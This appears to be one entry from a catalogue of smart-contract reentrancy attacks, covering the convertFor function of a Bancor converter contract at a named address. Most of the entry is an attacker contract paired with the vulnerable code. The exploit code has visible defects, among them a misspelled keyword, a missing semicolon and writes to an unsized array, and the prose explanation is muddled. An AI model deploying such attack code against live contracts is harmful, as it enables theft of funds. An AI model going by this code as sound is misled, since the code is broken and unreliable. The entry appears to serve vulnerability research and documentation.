Attack 13ΒΆ
Contract Name
BancorQuickConverter
Contract Address
0x1a5f170802824e44181b6727e5447950880187ab
Transaction Count
0
Invovled Ethers
0 Ethers
Length of the Call Chain
1 external function
Victim Function
convertFor
Attack Mechanisim
Attack code:
contract Attack is IERC20Token{
BancorQuickConverter b = new BancorQuickConverter();
constructor() payable {}
IERC20Token[] _path
function setPath() {
_path[0] = Attack(this);
_path[1] = Attack(this);
_path[2] = Attack(this);
}
function deposit() public {
b.convertFor.value(10)(_path, 10, 0, this);
}
function getvalue() returns (uint) {
return this.balance;
}
}
contract IERC20Token is IEtherToken {}
contrac IEtherToken{}
Attacked code:
contract BancorQuickConverter {
...
modifier validConversionPath() {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for)
public
payable
validConversionPath(_path)
returns (uint256)
{
// if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token
IERC20Token fromToken = _path[0];
require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken]));
ISmartToken smartToken;
IERC20Token toToken;
ITokenConverter converter;
uint256 pathLength = _path.length;
if (msg.value > 0)
IEtherToken(fromToken).deposit.value(msg.value)();
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
converter = ITokenConverter(smartToken.owner());
if (smartToken != fromToken)
ensureAllowance(fromToken, converter, _amount);
_amount = converter.change(fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
fromToken = toToken;
}
if (etherTokens[toToken])
IEtherToken(toToken).withdrawTo(_for, _amount);
else
assert(toToken.transfer(_for, _amount));
return _amount;
}
...
}
In this case, the attacker can lauch reentrancy attack by calling IEtherToken(fromToken).deposit.value(msg.value)();
. The parameter fromToken
is not carefully checked and can be easily changed by visitors. Visitor can modify the value of _path
by passing an arbitrary parameter. Since fromToken
is assigned by _path
, the value of fromToken
is modified after _path
.
Attack. The attacker call setPath
function to specify the array _path
, and call deposit
to start attack.